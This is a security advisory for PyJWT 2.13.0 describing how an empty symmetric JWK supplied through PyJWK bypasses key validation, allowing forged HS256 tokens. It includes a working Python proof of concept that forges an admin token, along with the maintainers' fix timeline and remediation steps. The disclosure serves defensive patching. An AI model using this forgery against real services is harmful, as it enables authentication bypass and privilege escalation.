GHSA-9j54-fg26-wv3r: High severity pip/PyJWT vulnerability
Summary
A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.
PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric PyJWK.
An oct JWK containing an empty Base64URL key value:
json {"kty":"oct","k":""}
is decoded to b"". During signature verification, the PyJWK path uses this decoded value directly and does not invoke the empty-key validation in HMACAlgorithm.preparekey. With the default enforceminimumkeylength=False, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.
An attacker can independently calculate HMAC-SHA256(b"", signinginput) and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty oct JWK through PyJWK or PyJWKSet can therefore accept attacker-generated tokens as authenticated.
The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as "k": "". The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.
Details
The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through PyJWK.
Raw empty HMAC keys are rejected
[HMACAlgorithm.preparekey](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.
As a result, an empty raw key is rejected in PyJWT 2.13.0:
python jwt.decode(token, b"", algorithms=["HS256"])
with InvalidKeyError.
Empty oct JWKs decode to the same key but are accepted
[HMACAlgorithm.fromjwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.
For:
json { "kty": "oct", "k": "" }
the empty Base64URL value is decoded to:
python b""
and returned without an emptiness check.
[PyJWK.init](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/apijwk.py#L73-L82) then stores the decoded value in self.key.
The resulting PyJWK therefore contains the same zero-length byte string rejected by the raw-key path.
PyJWK verification bypasses the raw-key validation
[PyJWS.verifysignature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/apijws.py#L389-L416) has a separate path for PyJWK objects.
When a PyJWK is supplied, verification uses its already-decoded key directly:
python preparedkey = key.key
The value is not passed through:
python algobj.preparekey(key.key)
so the empty-key check in HMACAlgorithm.preparekey is never reached.
The minimum HMAC key-length check does not reject the key under the default configuration. With enforceminimumkeylength=False, PyJWT emits a warning and continues signature verification.
The verifier therefore receives:
python b""
as the HS256 key.
This creates the following difference for identical cryptographic key material:
text raw b"" -> HMACAlgorithm.preparekey -> InvalidKeyError
{"kty":"oct","k":""} -> HMACAlgorithm.fromjwk -> b"" -> PyJWK.key -> PyJWS.verifysignature -> HMAC verification with b"" -> accepted
Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.
This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an oct symmetric JWK, HS256 only, and the PyJWK verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.
The issue was reproduced against PyJWT 2.13.0 and commit:
text 7144e4534c34810f4525dc4578a32addd8212cff
which was the tip of the public master branch at the time of testing.
PoC
The following PoC reproduces the issue on PyJWT 2.13.0.
It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.
Install PyJWT 2.13.0:
bash python -m venv venv source venv/bin/activate pip install "PyJWT==2.13.0"
Save the following as poc.py:
python import base64 import hashlib import hmac import json import time import warnings
import jwt from jwt import PyJWKSet from jwt.exceptions import InvalidKeyError, InvalidSignatureError
def b64u(value: bytes) -> bytes: return base64.urlsafeb64encode(value).rstrip(b"=")
now = int(time.time()) header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode()) payload = b64u( json.dumps( {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300}, separators=(",", ":"), ).encode() ) signinginput = header + b"." + payload forged = ( signinginput + b"." + b64u(hmac.new(b"", signinginput, hashlib.sha256).digest()) ).decode()
jwk = PyJWKSet.fromdict( { "keys": [ { "kty": "oct", "k": "", "kid": "active", "alg": "HS256", "use": "sig", } ] } )["active"]
with warnings.catchwarnings(): warnings.simplefilter("ignore") claims = jwt.decode( forged, jwk, algorithms=["HS256"], options={"require": ["exp"]}, )
assert claims["sub"] == "attacker" assert claims["admin"] is True print("VULNERABLE:", claims)
try: jwt.decode(forged, b"", algorithms=["HS256"]) except InvalidKeyError: print("CONTROL raw empty key: rejected") else: raise AssertionError("raw empty key was accepted")
try: jwt.decode( forged, jwk, algorithms=["HS256"], options={"enforceminimumkeylength": True}, ) except InvalidKeyError: print("CONTROL strict PyJWK: rejected") else: raise AssertionError("strict PyJWK was accepted")
realkey = PyJWKSet.fromdict( { "keys": [ { "kty": "oct", "k": "cmVhbC1zZWNyZXQ", "kid": "active", "alg": "HS256", } ] } )["active"]
try: with warnings.catchwarnings(): warnings.simplefilter("ignore") jwt.decode(forged, realkey, algorithms=["HS256"]) except InvalidSignatureError: print("CONTROL non-empty PyJWK: rejected") else: raise AssertionError("non-empty PyJWK accepted an empty-key forgery")
Run:
bash python poc.py
Observed output:
text VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>} CONTROL raw empty key: rejected CONTROL strict PyJWK: rejected CONTROL non-empty PyJWK: rejected
The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through PyJWK.
The first control supplies the same key material directly as b"". PyJWT 2.13.0 rejects it with InvalidKeyError.
The second control enables enforceminimumkeylength, which also rejects the empty PyJWK.
The third control changes only the JWK key material to a non-empty value. The same forged token then fails with InvalidSignatureError.
I also reproduced the result through the following verification paths:
python jwt.decode(token, PyJWK, algorithms=["HS256"]) jwt.decode(token, PyJWK) jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"]) PyJWS().decode(token, PyJWK, algorithms=["HS256"])
All accepted an HS256 token whose signature was generated using the zero-length HMAC key.
As an execution-path check, after constructing the PyJWK, I replaced HMACAlgorithm.preparekey with a function that immediately raises. Verification using the PyJWK still accepted the forged token, while the raw-key path reached preparekey and rejected the empty key.
Impact
This is an authentication bypass caused by inconsistent validation of empty HMAC keys.
Affected applications are services that verify HS256 JWTs using PyJWK, PyJWKSet, or another path that produces a PyJWK, where the configured oct JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.
For example, an application could and produces:
json { "kty": "oct", "k": "", "kid": "active", "alg": "HS256" }
when the expected Base64URL secret value is missing.
Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is b"" and can therefore calculate a valid HMAC for any signing input.
The attacker can choose arbitrary claims such as:
json { "sub": "attacker", "admin": true, "exp": 1787100000 }
and produce a signature that PyJWT accepts as valid.
Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.
Validation of claims such as exp, aud, iss, or sub does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.
The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Maintainer update — 2026-09-09
We reproduced the reported discrepancy on PyJWT 2.13.0: an empty oct JWK supplied through PyJWK reached HS256 verification as b"", while the equivalent raw empty key was rejected by HMACAlgorithm.preparekey(). The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.
This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.
The fix is committed as f91ed44dd65baaf457f4b3353ed35e98a753934c. PyJWK verification now routes the decoded key through the selected algorithm's preparekey() validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through PyJWK; existing JWS behavior remains covered.
The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.
The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.
Classification update — 2026-09-10
We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.
Maintainer update — 2026-09-11
The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/PyJWTto a version that resolves this vulnerability.Fixed in 2.14.0 - Upgrade
Upgrade
PyJWTto a version that resolves this vulnerability.Fixed in 2.14.0 - Configuration
Enable enforce_minimum_key_length for JWT verification so empty HMAC keys are rejected.
PyJWT enforce_minimum_key_length = True - Configuration
Replace the empty Base64URL HMAC key value in the oct JWK with a non-empty secret.
PyJWT symmetric oct JWK k = non-empty
Event History
Frequently Asked Questions
Which deployments are exposed to attacker-forged tokens?
A deployment is exposed only if it verifies HS256 tokens with an oct JWK whose Base64URL key value is empty, and supplies that JWK through PyJWK or PyJWKSet. The empty JWK decodes to a zero-length HMAC key.
What does an attacker need to exploit this condition?
An attacker does not need credentials or user interaction. If the service has the affected empty JWK configuration, the attacker can calculate an HS256 signature using the zero-length key and submit tokens containing arbitrary claims.
Does this affect every use of an empty HMAC key?
No. PyJWT 2.13.0 rejects an empty HMAC key when it is provided through the raw str or bytes key path. The described acceptance occurs when the same key is provided as a symmetric PyJWK, including one obtained from PyJWKSet.
How can administrators identify the affected configuration?
Inspect configured or retrieved JWKs used for HS256 verification for an object with kty set to oct and k set to an empty string. Also check whether verification uses PyJWK or PyJWKSet and whether enforce_minimum_key_length remains at its default value of false.